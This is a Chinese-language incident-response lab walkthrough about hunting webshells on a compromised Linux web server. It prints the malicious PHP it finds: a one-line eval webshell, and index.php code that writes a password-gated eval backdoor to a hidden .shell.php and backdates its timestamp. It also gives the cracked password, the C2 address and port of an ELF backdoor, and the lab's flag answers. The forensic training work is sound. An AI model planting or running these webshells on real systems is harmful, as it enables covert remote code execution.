Linux 入侵排查

  • 靶机账号密码:root/linuxruqin
  • 要求如下:
    • Web 目录存在木马,请找到木马的密码提交;
    • 服务器疑似存在不死马,请找到不死马的密码提交;
    • 不死马是通过哪个文件生成的,请提交文件名;
    • 黑客留下了木马文件,请找出黑客的服务器 ip 提交;
    • 黑客留下了木马文件,请找出黑客服务器开启的监听端口提交。

1 Web 目录存在木马,请找到木马的密码提交

[!Warning]
由于靶机按时扣费,所以一进去先把文件 dump 下来。

打包命令如下:

1
2
tar zcvf html.tar.gz /var/www/html/*
tar zcvf log.tar.gz /var/log/*

打包完成后,解压结果如下:

由于需要查找 WebShell,这里使用 D 盾扫一扫:

发现了两个可疑文件,依次查看其内容(1.tar 是网站源码,不用管):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 1.php
<?php eval($_POST[1]);?>

# index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>

可以很明显的看出这俩个具有 WebShell 特征,得到 1.php 的密码为 1:

1
flag{1}

2 服务器疑似存在不死马,请找到不死马的密码提交

经过上述代码,可得出 index.php 中的不死马内容如下:

1
2
3
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);

逐步分析上述代码:

  • 定义了一个名为 $file 的变量,其值为字符串 /var/www/html/.shell.php
  • 定义了一个名为 $code 的变量,其值是一段 PHP 代码字符串。
    • if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592")
      • $_POST["pass"] 是一个超全局变量,用于获取通过 POST 请求传递的名为 pass 的参数值。
      • md5() 函数对 $_POST["pass"] 的值进行 MD5 哈希加密。
      • 将加密后的结果与固定的 MD5 哈希值 "5d41402abc4b2a76b9719d911017c592" 进行比较。
    • {@eval($_POST[cmd]);}
      • @ 是 PHP 的错误抑制符,用于抑制可能出现的错误信息。
      • eval() 是一个非常危险的函数,它会将传入的字符串作为 PHP 代码来执行。这里 $_POST[cmd] 表示获取通过 POST 请求传递的名为 cmd 的参数值,并将其作为 PHP 代码执行。
  • 使用 file_put_contents() 函数将 $code 变量中的内容写入到 $file 变量所指定的文件中。如果文件不存在,会创建该文件;如果文件已经存在,会覆盖原有内容。

经过分析,可疑得出 5d41402abc4b2a76b9719d911017c592 的明文内容就是密码,使用 cmd5 解密:

得出密码为 hello:

1
flag{hello}

3 不死马是通过哪个文件生成的,请提交文件名

先了解一下不死马的定义:

  • PHP 不死马一般通过巧妙利用 PHP 的特性以及服务器的权限设置来实现其 “不死” 的功能。它通常会在服务器上创建一个或多个隐藏的文件,这些文件可能具有隐蔽的文件名和存储位置,不易被管理员发现。其核心原理是通过不断地自我复制或重新生成,以确保即使被部分删除或修改,也能够迅速恢复到原来的状态,继续在服务器上运行并执行攻击者预设的指令。

根据定义可疑判断 index.php 中的代码内容就是不死马。

1
flag{index.php}

4 黑客留下了木马文件,请找出黑客的服务器 ip 提交

在网站目录下,出现一个 shell (1).elf 文件,直接放到微步沙箱查看:

得出连接的 IP 地址是:10.11.55.21,端口是:3333。

1
flag{10.11.55.21}

5 黑客留下了木马文件,请找出黑客服务器开启的监听端口提交

根据上述内容,发现端口是:3333。

1
flag{3333}